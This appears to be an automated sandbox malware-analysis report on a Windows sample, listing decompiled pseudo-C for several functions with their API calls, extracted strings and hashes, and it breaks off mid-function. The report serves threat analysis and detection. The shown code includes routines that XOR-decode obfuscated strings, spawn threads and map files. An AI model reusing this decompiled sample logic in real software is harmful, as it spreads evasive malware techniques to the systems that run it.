				_v1068 = 0xb2;
				_t129 = 0;
				do {
					 *(_t197 + _t129 + 0x24) =  *(_t197 + _t129 + 0x24) ^  *(_t197 + _t129 + 0x10);
					 *(_t197 + _t129 + 0x25) =  *(_t197 + _t129 + 0x25) ^  *(_t197 + _t129 + 0x11);
					 *(_t197 + _t129 + 0x26) =  *(_t197 + _t129 + 0x26) ^  *(_t197 + _t129 + 0x12);
					 *(_t197 + _t129 + 0x27) =  *(_t197 + _t129 + 0x27) ^  *(_t197 + _t129 + 0x13);
					 *(_t197 + _t129 + 0x28) =  *(_t197 + _t129 + 0x28) ^  *(_t197 + _t129 + 0x14);
					 *(_t197 + _t129 + 0x29) =  *(_t197 + _t129 + 0x29) ^  *(_t197 + _t129 + 0x15);
					_t129 = _t129 + 6;
				} while (_t129 < 0x12);
				_t193 = _a4;
				if( *((intOrPtr*)(_t193 + 0x18)) < 0x10) {
					_t130 = _t193 + 4;
				} else {
					_t130 =  *((intOrPtr*)(_t193 + 4));
				}
				 *0x431f14( &_v1028,  &_v1064, _t130);
				_t156 = lstrlenA;
				if(E0041BC30( &_v1028, _t191,  &_v1028, lstrlenA( &_v1028)) == 0xffffffff) {
					L13:
					_t194 = 7;
					goto L14;
				} else {
					_t196 = _t191 + 0x24;
					_t139 = E0041ABE0(_t191, _t196);
					if(_t139 != 0) {
						L20:
						_t194 = _t139;
						__eflags = _t194 - 6;
						if(_t194 == 6) {
							L14:
							 *((intOrPtr*)(_t191 + 0x28)) =  *((intOrPtr*)(_t191 + 0x1c));
							E0041BAF0(_t191);
							L15:
							return E00424873(_t194, _v4);
						}
						__eflags = _t194 - 7;
						if(_t194 == 7) {
							goto L14;
						}
						__eflags = _t194;
						if(__eflags == 0) {
							goto L15;
						}
						L23:
						_t206 =  *((intOrPtr*)(_t191 + 4)) - 0xffffffff;
						if( *((intOrPtr*)(_t191 + 4)) != 0xffffffff) {
							E0041AE80(_t191, _t194, _t206);
							E0041BA60();
						}
						goto L15;
					}
					if( *_t196 == 0xfa) {
						_v1041 = 0xa6;
						_v1077 = 0xa6;
						_v1044 = 0x30;
						_v1043 = 0x8f;
						_v1042 = 0x59;
						_v1040 = 0xc8;
						_v1039 = 0xd5;
						_v1038 = 0xf3;
						_v1037 = 0xb9;
						_v1036 = 0xf6;
						_v1035 = 6;
						_v1034 = 0x72;
						_v1033 = 0x49;
						_v1032 = 0x70;
						_v1031 = 0xbe;
						_v1030 = 0x82;
						_v1029 = 0xfb;
						_v1084 = 0x88;
						_v1083 = 0xda;
						_v1082 = 0x99;
						_v1081 = 0xc9;
						_v1080 = 0x9d;
						_v1079 = 0xbd;
						_v1078 = 0xe9;
						_v1076 = 0x9c;
						_v1075 = 0xbc;
						_v1074 = 0x80;
						_v1073 = 0xa5;
						_v1072 = 0xd6;
						_v1071 = 0xe8;
						_v1070 = 0xe5;
						_v1069 = 0xef;
						_t144 = E0041AAF0(0x10,  &_v1044);
						__eflags =  *((intOrPtr*)(_t193 + 0x50)) - 0x10;
						if( *((intOrPtr*)(_t193 + 0x50)) < 0x10) {
							_t172 = _t193 + 0x3c;
						} else {
							_t172 =  *((intOrPtr*)(_t193 + 0x3c));
						}
						 *0x431f14( &_v1028, _t144, _t172);
						_t148 = E0041BC30(lstrlenA( &_v1028), _t191,  &_v1028, _t147);
						__eflags = _t148 - 0xffffffff;
						if(_t148 != 0xffffffff) {
							_t139 = E0041ABE0(_t191, _t196);
							__eflags = _t139;
							if(_t139 != 0) {
								goto L20;
							}
							__eflags =  *_t196 - 0xfa;
							if(__eflags == 0) {
								_t139 = E0041AD70(_t156, _t191, _t191, _t193, _t196, __eflags, _t193);
								goto L20;
							}
							_t194 = 8;
							goto L23;
						} else {
							goto L13;
						}
					}
					_t194 = 8;
					goto L23;
				}
			}

0x0041b010
0x0041b016
0x0041b01f
0x0041b023
0x0041b02c
0x0041b032
0x0041b038
0x0041b03c
0x0041b040
0x0041b044
0x0041b049
0x0041b04e
0x0041b052
0x0041b057
0x0041b05c
0x0041b061
0x0041b066
0x0041b06b
0x0041b070
0x0041b075
0x0041b07a
0x0041b07f
0x0041b084
0x0041b089
0x0041b08d
0x0041b092
0x0041b097
0x0041b09c
0x0041b0a0
0x0041b0a5
0x0041b0aa
0x0041b0af
0x0041b0b4
0x0041b0b9
0x0041b0be
0x0041b0c2
0x0041b0c7
0x0041b0cc
0x0041b0d1
0x0041b0d6
0x0041b0db
0x0041b0e0
0x0041b0f2
0x0041b106
0x0041b10e
0x0041b11e
0x0041b126
0x0041b130
0x0041b134
0x0041b137
0x0041b13c
0x0041b147
0x0041b14e
0x0041b149
0x0041b149
0x0041b149
0x0041b15c
0x0041b162
0x0041b182
0x0041b298
0x0041b298
0x00000000
0x0041b188
0x0041b188
0x0041b18e
0x0041b195
0x0041b2e9
0x0041b2e9
0x0041b2eb
0x0041b2ee
0x0041b29d
0x0041b2a2
0x0041b2a5
0x0041b2aa
0x0041b2c2
0x0041b2c2
0x0041b2f0
0x0041b2f3
0x00000000
0x00000000
0x0041b2f5
0x0041b2f7
0x00000000
0x00000000
0x0041b2f9
0x0041b2f9
0x0041b2fd
0x0041b301
0x0041b308
0x0041b308
0x00000000
0x0041b2fd
0x0041b1a2
0x0041b1b4
0x0041b1b8
0x0041b1c6
0x0041b1cb
0x0041b1d0
0x0041b1d5
0x0041b1da
0x0041b1df
0x0041b1e4
0x0041b1e9
0x0041b1ee
0x0041b1f3
0x0041b1f8
0x0041b1fd
0x0041b202
0x0041b207
0x0041b20c
0x0041b211
0x0041b216
0x0041b21b
0x0041b220
0x0041b225
0x0041b22a
0x0041b22f
0x0041b234
0x0041b239
0x0041b23e
0x0041b243
0x0041b248
0x0041b24d
0x0041b252
0x0041b257
0x0041b25c
0x0041b261
0x0041b265
0x0041b26c
0x0041b267
0x0041b267
0x0041b267
0x0041b276
0x0041b28e
0x0041b293
0x0041b296
0x0041b2c8
0x0041b2cd
0x0041b2cf
0x00000000
0x00000000
0x0041b2d1
0x0041b2d8
0x0041b2e4
0x00000000
0x0041b2e4
0x0041b2da
0x00000000
0x00000000
0x00000000
0x00000000
0x0041b296
0x0041b1a4
0x00000000
0x0041b1a4

APIs

lstrlenA.KERNEL32(?,0000FFDD,?,00000023), ref: 0041B170
lstrlenA.KERNEL32(?,?,?,?,?,?,00000000), ref: 0041B284

Part of subcall function 0041AD70: lstrlenA.KERNEL32 ref: 0041ADCA

Strings

r, xrefs: 0041B1F3
0, xrefs: 0041B1C6
n, xrefs: 0041B057
p, xrefs: 0041B1FD
(, xrefs: 0041B0A0
Y, xrefs: 0041B1D0
*, xrefs: 0041B0C2
I, xrefs: 0041B1F8
b, xrefs: 0041B052
F, xrefs: 0041B0CC
G@,, xrefs: 0041B016
x, xrefs: 0041B07A
[, xrefs: 0041B049

Memory Dump Source

Source File: 00000000.00000002.303750221.0000000000401000.00000020.00020000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.303744957.0000000000400000.00000002.00020000.sdmp Download File
Associated: 00000000.00000002.303886469.000000000042E000.00000002.00020000.sdmp Download File
Associated: 00000000.00000002.303918997.0000000000431000.00000004.00020000.sdmp Download File
Associated: 00000000.00000002.303929663.0000000000434000.00000002.00020000.sdmp Download File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_message.jbxd

Similarity

API ID: lstrlen
String ID: ($*$0$F$G@,$I$Y$[$b$n$p$r$x
API String ID: 1659193697-3360790871
Opcode ID: 0aacacd1b8cdbe4c7b6c9d18da774663ceb4049ca215048843e45ef287c2fd62
Instruction ID: 2df139c3096c9c4d925bdfeecfd17c6d27e21bb7b6dfed262cfb59e6470ea8b3
Opcode Fuzzy Hash: 0aacacd1b8cdbe4c7b6c9d18da774663ceb4049ca215048843e45ef287c2fd62
Instruction Fuzzy Hash: 76A13A2110C7C28AC322DA3C589859FBFD55EA7228F480B9EF0E5472E2C7558549C7AB

Uniqueness

Uniqueness Score: -1.00%

Function 00401260, Relevance: 21.1, APIs: 14, Instructions: 132
threadsynchronizationCOMMON

Download Yara Rule

C-Code - Quality: 96%

			E00401260(void* __ecx, void* __edx, void* _a4) {
				void* _v0;
				void* _v4;
				void _v8;
				void* _v16;
				void* _v20;
				void* _v24;
				void* _v28;
				long _v32;
				long _v36;
				long _v40;
				signed int _t35;
				void* _t48;
				void* _t60;
				void* _t82;
				signed int _t83;
				void* _t86;
				void** _t87;
				long* _t91;

				_t75 = __edx;
				_t91 =  &_v32;
				_t35 = L00401000(__edx);
				_t87 = _a4;
				asm("sbb edi, edi");
				_t82 =  ~_t35 + 1;
				if(_t82 != 0) {
					_v28 = CreateThread(0, 0, E004158B0, _t87[2], 0,  &_v32);
					_v28 = CreateThread(0, 0, E00406580, _t87[2], 0,  &_v36);
					_t60 = CreateEventA(0, 1, 0, 0);
					_t75 =  &_v40;
					_v24 = _t60;
					_v20 = _t87[2];
					_v40 = CreateThread(0, 0, E0041C0F0,  &_v24, 0,  &_v40);
				}
				if(_t87[1] != 0) {
					WaitForMultipleObjects(2,  &_v24, 1, 0xffffffff);
					_v8 = _t87[2];
					_t75 =  &_v8;
					_v4 = _t87[3];
					_v0 = CreateThread(0, 0, E0040BB70,  &_v8, 0,  &_v32);
				}
				if(_t82 != 0) {
					WaitForMultipleObjects(2,  &_v24, 1, 0xffffffff);
					_t83 = 0;
					do {
						CloseHandle( *(_t91 + 0x18 + _t83 * 4));
						_t83 = _t83 + 1;
					} while (_t83 < 2);
					L00401140(_t75);
					SetEvent(_v16);
					_t48 = E004074A0(_t87[2], 1);
					E004167D0(_t48 + E004074A0(_t87[2], 0));
					_t86 = _v40;
					WaitForSingleObject(_t86, 0xffffffff);
					CloseHandle(_t86);
				}
				if(_t87[1] != 0) {
					WaitForSingleObject(_a4, 0xffffffff);
					CloseHandle(_a4);
				}
				SetEvent( *_t87);
				return 0;
			}

0x00401260
0x00401260
0x00401266
0x0040126b
0x00401279
0x0040127b
0x0040127c
0x0040129b
0x004012b6
0x004012ba
0x004012c3
0x004012ca
0x004012dc
0x004012e2
0x004012e2
0x004012f2
0x004012ff
0x0040130e
0x00401312
0x00401320
0x00401326
0x00401326
0x00401332
0x0040133f
0x00401341
0x00401343
0x00401348
0x0040134a
0x0040134b
0x00401350
0x0040135a
0x00401365
0x0040137c
0x00401381
0x00401388
0x0040138f
0x0040138f
0x00401397
0x004013a0
0x004013ab
0x004013ab
0x004013b0
0x004013be

APIs

CreateThread.KERNEL32 ref: 00401292
CreateThread.KERNEL32 ref: 004012AC
CreateEventA.KERNEL32(00000000,00000001,00000000,00000000), ref: 004012BA
CreateThread.KERNEL32 ref: 004012E0
WaitForMultipleObjects.KERNEL32(00000002,?,00000001,000000FF), ref: 004012FF
CreateThread.KERNEL32 ref: 00401324
WaitForMultipleObjects.KERNEL32(00000002,?,00000001,000000FF), ref: 0040133F
CloseHandle.KERNEL32(?), ref: 00401348
SetEvent.KERNEL32(?), ref: 0040135A
WaitForSingleObject.KERNEL32(00000001,000000FF,00000000,00000000,00000001), ref: 00401388
CloseHandle.KERNEL32(00000001), ref: 0040138F
WaitForSingleObject.KERNEL32(?,000000FF), ref: 004013A0
CloseHandle.KERNEL32(?), ref: 004013AB
SetEvent.KERNEL32 ref: 004013B0

Memory Dump Source

Source File: 00000000.00000002.303750221.0000000000401000.00000020.00020000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.303744957.0000000000400000.00000002.00020000.sdmp Download File
Associated: 00000000.00000002.303886469.000000000042E000.00000002.00020000.sdmp Download File
Associated: 00000000.00000002.303918997.0000000000431000.00000004.00020000.sdmp Download File
Associated: 00000000.00000002.303929663.0000000000434000.00000002.00020000.sdmp Download File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_message.jbxd

Similarity

API ID: Create$ThreadWait$CloseEventHandle$MultipleObjectObjectsSingle
String ID:
API String ID: 1412422849-0
Opcode ID: f714fd7dc9cf1b848fcbf6baa3b872f43579e6a1c41cad7c9b60e9636e7f0812
Instruction ID: 109f3496b703d5c848b0bbf75510f44b12918ce008f531d148e58f88355e5c24
Opcode Fuzzy Hash: f714fd7dc9cf1b848fcbf6baa3b872f43579e6a1c41cad7c9b60e9636e7f0812
Instruction Fuzzy Hash: 8E414F71244301AFE320DB65CC86F7BB3E8ABC8B14F504A2DF695A72D0DA74E8458B59

Uniqueness

Uniqueness Score: -1.00%

Function 0042ADD1, Relevance: 21.1, APIs: 6, Strings: 6, Instructions: 90
libraryloaderCOMMONLIBRARYCODE

Download Yara Rule

C-Code - Quality: 29%

			E0042ADD1(intOrPtr _a4, intOrPtr _a8, intOrPtr _a12, signed int _a14) {
				char _v8;
				signed char _v12;
				char _v20;
				intOrPtr* _t13;
				intOrPtr* _t14;
				intOrPtr* _t17;
				void* _t19;
				_Unknown_base(*)()* _t23;
				_Unknown_base(*)()* _t26;
				void* _t28;
				struct HINSTANCE__* _t31;
				void* _t33;

				_t28 = 0;
				_t33 =  *0x432380 - _t28; // 0x0
				if(_t33 != 0) {
					L6:
					_t13 =  *0x43238c; // 0x0
					if(_t13 == 0) {
						L14:
						_t14 =  *0x432384; // 0x0
						if(_t14 != 0) {
							_t28 =  *_t14();
							if(_t28 != 0) {
								_t17 =  *0x432388; // 0x0
								if(_t17 != 0) {
									_t28 =  *_t17(_t28);
								}
							}
						}
						L18:
						return  *0x432380(_t28, _a4, _a8, _a12);
					}
					_t19 =  *_t13();
					if(_t19 == 0) {
						L10:
						if( *0x432220 < 4) {
							_a14 = _a14 | 0x00000004;
						} else {
							_a14 = _a14 | 0x00000020;
						}
						goto L18;
					}
					_push( &_v8);
					_push(0xc);
					_push( &_v20);
					_push(1);
					_push(_t19);
					if( *0x432390() == 0 || (_v12 & 0x00000001) == 0) {
						goto L10;
					} else {
						goto L14;
					}
				}
				_t31 = LoadLibraryA("user32.dll");
				if(_t31 == 0) {
					L12:
					return 0;
				}
				_t23 = GetProcAddress(_t31, "MessageBoxA");
				 *0x432380 = _t23;
				if(_t23 == 0) {
					goto L12;
				} else {
					 *0x432384 = GetProcAddress(_t31, "GetActiveWindow");
					 *0x432388 = GetProcAddress(_t31, "GetLastActivePopup");
					if( *0x432214 == 2) {
						_t26 = GetProcAddress(_t31, "GetUserObjectInformationA");
						 *0x432390 = _t26;
						if(_t26 != 0) {
							 *0x43238c = GetProcAddress(_t31, "GetProcessWindowStation");
						}
					}
					goto L6;
				}
			}

0x0042add8
0x0042adda
0x0042ade2
0x0042ae51
0x0042ae51
0x0042ae58
0x0042ae96
0x0042ae96
0x0042ae9d
0x0042aea1
0x0042aea5
0x0042aea7
0x0042aeae
0x0042aeb3
0x0042aeb3
0x0042aeae
0x0042aea5
0x0042aeb5
0x00000000
0x0042aebf
0x0042ae5a
0x0042ae5e
0x0042ae7d
0x0042ae84
0x0042ae90
0x0042ae86
0x0042ae86
0x0042ae86
0x00000000
0x0042ae84
0x0042ae63
0x0042ae64
0x0042ae69
0x0042ae6a
0x0042ae6c
0x0042ae75
0x00000000
0x00000000
0x00000000
0x00000000
0x0042ae75
0x0042adef
0x0042adf3
0x0042ae8c
0x00000000
0x0042ae8c
0x0042ae05
0x0042ae09
0x0042ae0e
0x00000000
0x0042ae10
0x0042ae1e
0x0042ae2c
0x0042ae31
0x0042ae39
0x0042ae3d
0x0042ae42
0x0042ae4c
0x0042ae4c
0x0042ae42
0x00000000
0x0042ae31

APIs

LoadLibraryA.KERNEL32(user32.dll,0042E5E8,?,?), ref: 0042ADE9
GetProcAddress.KERNEL32(00000000,MessageBoxA), ref: 0042AE05
GetProcAddress.KERNEL32(00000000,GetActiveWindow), ref: 0042AE16
GetProcAddress.KERNEL32(00000000,GetLastActivePopup), ref: 0042AE23
GetProcAddress.KERNEL32(00000000,GetUserObjectInformationA), ref: 0042AE39
GetProcAddress.KERNEL32(00000000,GetProcessWindowStation), ref: 0042AE4A

Strings

GetActiveWindow, xrefs: 0042AE10
MessageBoxA, xrefs: 0042ADFF
user32.dll, xrefs: 0042ADE4
GetUserObjectInformationA, xrefs: 0042AE33
GetLastActivePopup, xrefs: 0042AE18
GetProcessWindowStation, xrefs: 0042AE44

Memory Dump Source

Source File: 00000000.00000002.303750221.0000000000401000.00000020.00020000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.303744957.0000000000400000.00000002.00020000.sdmp Download File
Associated: 00000000.00000002.303886469.000000000042E000.00000002.00020000.sdmp Download File
Associated: 00000000.00000002.303918997.0000000000431000.00000004.00020000.sdmp Download File
Associated: 00000000.00000002.303929663.0000000000434000.00000002.00020000.sdmp Download File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_message.jbxd

Similarity

API ID: AddressProc$LibraryLoad
String ID: GetActiveWindow$GetLastActivePopup$GetProcessWindowStation$GetUserObjectInformationA$MessageBoxA$user32.dll
API String ID: 2238633743-1612076079
Opcode ID: 1e07f3a9dedf5d83c3b40c4b76d854943183329d44e916a5c801173aea8fc7a5
Instruction ID: 70b5fa524dff6b7417458b24b0bac14766b51569b5ba9c55d5771b2b321c63c1
Opcode Fuzzy Hash: 1e07f3a9dedf5d83c3b40c4b76d854943183329d44e916a5c801173aea8fc7a5
Instruction Fuzzy Hash: 6B21A730740326ABDB119F75BE84B6B3BE8AB04740B51143BED01D6190D7BCC81ADB6E

Uniqueness

Uniqueness Score: -1.00%

Function 00406260, Relevance: 19.6, APIs: 13, Instructions: 99
fileCOMMON

Download Yara Rule

C-Code - Quality: 88%

			E00406260(CHAR* _a4, intOrPtr _a8) {
				void* __edi;
				void* __esi;
				void* __ebp;
				long _t9;
				signed int _t13;
				void* _t27;
				signed char _t29;
				void* _t34;
				void* _t40;
				void* _t43;

				_t40 = CreateFileA(_a4, 0x80000000, 3, 0, 3, 0, 0);
				if(_t40 != 0xffffffff) {
					_t43 = CreateFileMappingA(_t40, 0, 2, 0, 0, 0);
					if(_t43 != 0) {
						_t34 = MapViewOfFile(_t43, 4, 0, 0, 0);
						if(_t34 != 0) {
							 *0x431c84 = 6;
							_t9 = GetFileSize(_t40, 0);
							if(_t9 != 0xffffffff) {
								 *0x431c84 =  *0x431c84 ^ 0x00000049;
								_push(_a8);
								_push(_t9);
								_push(_t34);
								E00405F30(_t27, _t34, _t40);
								UnmapViewOfFile(_t34);
								_t29 =  *0x431c84; // 0x0
								 *0x431c84 = _t29 | 0x000000c0;
								CloseHandle(_t43);
								_t13 =  *0x431c84; // 0x0
								 *0x431c84 = _t13 * 0x4b;
								CloseHandle(_t40);
								return 1;
							} else {
								 *0x431c84 = 0xcd;
								UnmapViewOfFile(_t34);
								CloseHandle(_t43);
								 *0x431c84 = 6;
								CloseHandle(_t40);
								return 0;
							}
						} else {
							CloseHandle(_t40);
							CloseHandle(_t43);
							return 0;
						}
					} else {
						CloseHandle(_t40);
						return 0;
					}
				} else {
					return 0;
				}
			}

0x0040627b
0x00406280
0x00406298
0x0040629c
0x004062ba
0x004062be
0x004062d5
0x004062dc
0x004062e5
0x0040630e
0x00406319
0x0040631a
0x0040631b
0x0040631c
0x00406325
0x0040632b
0x0040633b
0x00406341
0x00406343
0x0040634d
0x00406352
0x0040635c
0x004062e7
0x004062e8
0x004062ef
0x004062fc
0x004062ff
0x00406306
0x0040630d
0x0040630d
0x004062c0
0x004062c7
0x004062ca
0x004062d1
0x004062d1
0x0040629e
0x0040629f
0x004062a9
0x004062a9
0x00406282
0x00406285
0x00406285

APIs

CreateFileA.KERNEL32(?,80000000,00000003,00000000,00000003,00000000,00000000,74E481D0,00406532,?, :\,?,?,?), ref: 00406275
CreateFileMappingA.KERNEL32 ref: 00406292
CloseHandle.KERNEL32(00000000,?,?,?,?), ref: 0040629F

Memory Dump Source

Source File: 00000000.00000002.303750221.0000000000401000.00000020.00020000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.303744957.0000000000400000.00000002.00020000.sdmp Download File
Associated: 00000000.00000002.303886469.000000000042E000.00000002.00020000.sdmp Download File
Associated: 00000000.00000002.303918997.0000000000431000.00000004.00020000.sdmp Download File
Associated: 00000000.00000002.303929663.0000000000434000.00000002.00020000.sdmp Download File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_message.jbxd

Similarity

API ID: CreateFile$CloseHandleMapping
String ID:
API String ID: 2353530451-0
Opcode ID: 090e925647e629e1d9fdd77bcff8ee2c0cad40d50ae18b26d1d138ae1d50bb0b
Instruction ID: b1713de03d30712edf461a6f0e0af24326c7c5dfdbc2b318762e316791e25a2b
Opcode Fuzzy Hash: 090e925647e629e1d9fdd77bcff8ee2c0cad40d50ae18b26d1d138ae1d50bb0b
Instruction Fuzzy Hash: 7A21F4313892246AF230673ABC49FDB3B988B86730F511036F750E22E1DAB46806966D

Uniqueness

Uniqueness Score: -1.00%

Function 0041F830, Relevance: 19.6, APIs: 13, Instructions: 59
memorysleepCOMMON

Download Yara Rule

C-Code - Quality: 100%

			E0041F830(void* __ecx) {
				void* _t12;
				void* _t13;
				void* _t14;
				long _t22;
				int _t23;
				void* _t38;

				_t38 = __ecx;
				_t12 =  *(__ecx + 0x164);
				if(_t12 != 0) {
					HeapFree(GetProcessHeap(), 0, _t12);
				}
				_t13 =  *(_t38 + 0x168);
				if(_t13 != 0) {
					HeapFree(GetProcessHeap(), 0, _t13);
				}
				_t14 =  *(_t38 + 0x16c);
				if(_t14 != 0) {
					HeapFree(GetProcessHeap(), 0, _t14);
				}
				CloseHandle( *(_t38 + 0x14c));
				CloseHandle( *(_t38 + 0x150));
				CloseHandle( *(_t38 + 0x154));
				CloseHandle( *(_t38 + 0x158));
				CloseHandle( *(_t38 + 0x15c));
				_t22 =  *(_t38 + 0x160);
				if(_t22 != 0) {
					_t23 = SetEvent( *(_t38 + 0x148));
					Sleep(0x3e8);
					 *(_t38 + 0x160) = 0;
					return _t23;
				}
				return _t22;
			}

0x0041f838
0x0041f83a
0x0041f849
0x0041f851
0x0041f851
0x0041f853
0x0041f85b
0x0041f863
0x0041f863
0x0041f865
0x0041f86d
0x0041f875
0x0041f875
0x0041f884
0x0041f88d
0x0041f896
0x0041f89f
0x0041f8a8
0x0041f8aa
0x0041f8b2
0x0041f8bb
0x0041f8c6
0x0041f8cc
0x00000000
0x0041f8cc
0x0041f8d9

APIs

GetProcessHeap.KERNEL32(00000000,?), ref: 0041F84E
HeapFree.KERNEL32(00000000), ref: 0041F851
GetProcessHeap.KERNEL32(00000000,?), ref: 0041F860
HeapFree.KERNEL32(00000000), ref: 0041F863
GetProcessHeap.KERNEL32(00000000,?), ref: 0041F872
HeapFree.KERNEL32(00000000), ref: 0041F875
CloseHandle.KERNEL32(?), ref: 0041F884
CloseHandle.KERNEL32(?), ref: 0041F88D
CloseHandle.KERNEL32(?), ref: 0041F896
CloseHandle.KERNEL32(?), ref: 0041F89F
CloseHandle.KERNEL32(?), ref: 0041F8A8
SetEvent.KERNEL32(?), ref: 0041F8BB
Sleep.KERNEL32(000003E8), ref: 0041F8C6

Memory Dump Source

Source File: 00000000.00000002.303750221.0000000000401000.00000020.00020000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.303744957.0000000000400000.00000002.00020000.sdmp Download File
Associated: 00000000.00000002.303886469.000000000042E000.00000002.00020000.sdmp Download File
Associated: 00000000.00000002.303918997.0000000000431000.00000004.00020000.sdmp Download File
Associated: 00000000.00000002.303929663.0000000000434000.00000002.00020000.sdmp Download File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_message.jbxd

Similarity

API ID: Heap$CloseHandle$FreeProcess$EventSleep
String ID:
API String ID: 2749338665-0
Opcode ID: 9c1348228d7dc5c2962a96d715c005febc0d8f4a9507fb5608177c5e893bdc25
Instruction ID: 76c645c424173bd840e30338d02661637eb24344bf89ff37b7fb3177c525ef51
Opcode Fuzzy Hash: 9c1348228d7dc5c2962a96d715c005febc0d8f4a9507fb5608177c5e893bdc25
Instruction Fuzzy Hash: 2D11BA71300704ABE620ABBADC84FEBF3ECAF98751F05492AE559C7250CA74F8418A64

Uniqueness

Uniqueness Score: -1.00%

Function 0041AC50, Relevance: 18.1, APIs: 1, Strings: 11, Instructions: 81
stringCOMMON

Download Yara Rule

C-Code - Quality: 84%

			E0041AC50(void* __ecx, void* __eflags, intOrPtr _a4) {
				intOrPtr _v8;
				char _v1039;
				char _v1040;
				char _v1041;
				char _v1042;
				char _v1043;
				char _v1044;
				char _v1045;
				char _v1046;
				char _v1047;
				char _v1048;
				char _v1051;
				char _v1052;
				char _v1053;
				char _v1054;
				char _v1055;
				char _v1056;
				char _v1057;
				char _v1058;
				char _v1059;
				char _v1060;
				intOrPtr _t35;
				void* _t38;
				signed int _t45;
				void* _t63;
				intOrPtr* _t66;
				void* _t69;
				void* _t70;

				_t35 =  *0x4310d8; // 0x2c0d4047
				_v8 = _t35;
				_t70 = __ecx;
				_v1048 = 0x28;
				_v1047 = 4;
				_v1046 = 0xb7;
				_v1045 = 0x1c;
				_v1044 = 0xbc;
				_v1043 = 0xc7;
				_v1042 = 0xa2;
				_v1041 = 0x23;
				_v1040 = 0x93;
				_v1039 = 0x35;
				_v1060 = 0x6e;
				_v1059 = 0x26;
				_v1058 = 0x63;
				_v1057 = 0x2f;
				_v1056 = 0x60;
				_v1055 = 0x40;
				_v1054 = 0x65;
				_v1053 = 0x16;
				_v1052 = 0x1b;
				_v1051 = 0x11;
				_t38 = E0041AAF0(0xa,  &_v1048);
				memset( &_v1040, 0, 0x100 << 2);
				 *0x431f14( &_v1040, _t38, _a4, _t63, _t69);
				if(E0041BC30(lstrlenA( &_v1040), _t70,  &_v1040, _t43) != 0xffffffff) {
					_t66 = _t70 + 0x24;
					_t45 = E0041ABE0(_t70, _t66);
					if(_t45 == 0) {
						_t45 = (_t45 & 0xffffff00 |  *_t66 == 0x000000fa) - 0x00000001 & 0x00000008;
					}
					return E00424873(_t45, _v8);
				} else {
					return E00424873(7, _v8);
				}
			}

0x0041ac5c
0x0041ac62
0x0041ac6e
0x0041ac7a
0x0041ac7f
0x0041ac84
0x0041ac89
0x0041ac8e
0x0041ac93
0x0041ac98
0x0041ac9d
0x0041aca2
0x0041aca7
0x0041acac
0x0041acb1
0x0041acb6
0x0041acbb
0x0041acc0
0x0041acc5
0x0041acca
0x0041accf
0x0041acd4
0x0041acd9
0x0041acde
0x0041acf0
0x0041acfc
0x0041ad20
0x0041ad3b
0x0041ad41
0x0041ad48
0x0041ad54
0x0041ad54
0x0041ad68
0x0041ad22
0x0041ad38
0x0041ad38

APIs

lstrlenA.KERNEL32(?), ref: 0041AD0A

Part of subcall function 0041BC30: WaitForSingleObject.KERNEL32(?,?), ref: 0041BCA3
Part of subcall function 0041BC30: GetOverlappedResult.KERNEL32(000000FF,?,00000001,00000000), ref: 0041BCB8

Strings

5, xrefs: 0041ACA7
n, xrefs: 0041ACAC
e, xrefs: 0041ACCA
G@,, xrefs: 0041AC5C
/, xrefs: 0041ACBB
c, xrefs: 0041ACB6
@, xrefs: 0041ACC5
(, xrefs: 0041AC7A
`, xrefs: 0041ACC0
#, xrefs: 0041AC9D
&, xrefs: 0041ACB1

Memory Dump Source

Source File: 00000000.00000002.303750221.0000000000401000.00000020.00020000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.303744957.0000000000400000.00000002.00020000.sdmp Download File
Associated: 00000000.00000002.303886469.000000000042E000.00000002.00020000.sdmp Download File
Associated: 00000000.00000002.303918997.0000000000431000.00000004.00020000.sdmp Download File
Associated: 00000000.00000002.303929663.0000000000434000.00000002.00020000.sdmp Download File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_message.jbxd

Similarity

API ID: ObjectOverlappedResultSingleWaitlstrlen
String ID: #$&$($/$5$@$G@,$`$c$e$n
API String ID: 1203007601-4029903833
Opcode ID: 243c376249be2b182f6dacd44d2a29b8c8a9c47cc2e434e317091e12bd14b117
Instruction ID: 40db77f959c89022b5c68d7f606fb1fae4f3f0c1390896a0b38eb06e05df56be
Opcode Fuzzy Hash: 243c376249be2b182f6dacd44d2a29b8c8a9c47cc2e434e317091e12bd14b117
Instruction Fuzzy Hash: 0A31A17210C3C18AD311DA28D80479BBBD59BD6318F044A6EF5D48B2D2D7B99658C3EB

Uniqueness

Uniqueness Score: -1.00%

Function 00415690, Relevance: 17.7, APIs: 9, Strings: 1, Instructions: 162
fileCOMMON

Download Yara Rule

C-Code - Quality: 100%

			E00415690(void* __ebx, void* __edi, void* __esi) {
				intOrPtr _t39;
				signed int _t46;
				signed int _t47;
				signed int _t53;
				signed int _t57;
				signed char _t60;
				void* _t66;
				signed char _t70;
				void* _t76;
				intOrPtr _t78;
				signed char _t83;
				signed int _t89;
				intOrPtr* _t91;
				short _t111;
				char _t113;
				void* _t117;
				signed int _t119;
				void* _t124;
				void* _t126;
				signed int _t130;
				intOrPtr* _t132;
				signed int _t133;
				void* _t135;

				_t39 =  *0x4310d8; // 0x2c0d4047
				 *((intOrPtr*)(_t135 + 0x14c)) = _t39;
				_t117 = CreateFileA( *(_t135 + 0x154), 0x80000000, 1, 0, 4, 0x80, 0);
				 *(_t135 + 4) = _t117;
				if(_t117 == 0xffffffff) {
					L13:
					return E00424873(0,  *((intOrPtr*)(_t135 + 0x138)));
				} else {
					_t76 = CreateFileMappingA(_t117, 0, 2, 0, 0, 0);
					 *(_t135 + 0xc) = _t76;
					if(_t76 != 0) {
						_t126 = MapViewOfFile(_t76, 4, 0, 0, 0);
						if(_t126 != 0) {
							_t46 =  *0x431e34; // 0x42
							_t47 = _t46 *  *0x431e28;
							 *0x431e2c = (_t47 * 0x6f >> 0x20) - 3;
							_t83 = _t47 * 0x0000006f | 0x0000001e;
							 *0x431e28 = _t83;
